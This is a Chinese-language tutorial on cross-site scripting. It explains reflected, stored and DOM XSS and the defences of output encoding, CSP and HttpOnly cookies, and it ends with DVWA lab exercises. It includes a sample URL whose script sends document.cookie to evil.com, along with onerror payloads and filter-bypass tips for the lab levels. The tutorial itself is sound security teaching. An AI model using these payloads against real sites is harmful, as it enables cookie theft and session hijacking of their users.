什么是 XSS?
XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全领域最经典的漏洞之一。它的核心原理是:攻击者将恶意脚本注入到页面中,当其他用户浏览该页面时,脚本在用户浏览器中执行,从而达到窃取 Cookie、劫持会话、篡改页面等目的。
根据注入方式的不同,XSS 主要分为三类:
1. 反射型 XSS
恶意脚本作为请求参数的一部分,由服务端”反射”回响应页面。
https://example.com/search?q=<script>fetch('https://evil.com/?cookie='+document.cookie)</script>
如果服务端直接将 q 参数插入 HTML 而不做任何过滤,这段脚本就会在用户浏览器中执行。攻击者通常会通过邮件或即时消息诱导受害者点击这个链接。
2. 存储型 XSS
这是危害最大的 XSS 类型。用户输入被永久存储在服务器上(数据库、日志文件等),每次其他用户访问包含该内容的页面时,脚本都会被执行。
典型场景:论坛发帖、评论区、个人资料页。攻击者在昵称里嵌入 XSS payload,所有浏览该攻击者主页的用户都会中招。
3. DOM 型 XSS
和前两种不同,DOM XSS 的修改完全发生在客户端。例如:
// 危险代码
document.getElementById('greeting').innerHTML = location.hash.substring(1);
攻击者构造 https://example.com/#<img src=x onerror=alert(1)>,页面 JavaScript 直接将 hash 写入 innerHTML。
防御措施
输出编码
最核心的原则:永远不要信任用户输入。
| 上下文 | 编码方式 |
|---|---|
| HTML 文本内容 | < > & |
| HTML 属性值 | 对引号进行 HTML 实体编码 |
| JavaScript 数据 | \x3C 十六进制转义 |
| URL 参数 | encodeURIComponent() |
Content Security Policy(CSP)
CSP 是现代浏览器最强大的 XSS 防御机制,通过 HTTP 响应头限制页面可以执行的脚本来源:
Content-Security-Policy: script-src 'self' 'nonce-随机值'
配合 nonce 或 hash 机制,即使攻击者成功注入了 <script> 标签,没有正确 nonce 值的脚本也不会被执行。
HttpOnly Cookie
将认证相关的 Cookie 标记为 HttpOnly,这样即使 XSS 成功,也无法通过 document.cookie 窃取:
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax
实战:DVWA 靶场练习
- Low 级别:无任何过滤,直接
<script>alert('xss')</script>即可成功 - Medium 级别:过滤了
<script>标签,但可用<img src=x onerror=alert('xss')>绕过 - High 级别:过滤更严格,但可通过大小写混写或编码绕过
- Impossible 级别:使用了
htmlspecialchars()进行完整输出编码
从 Low 到 Impossible 的过程,就是一个安全工程师从入门到掌握防御思维的缩影。
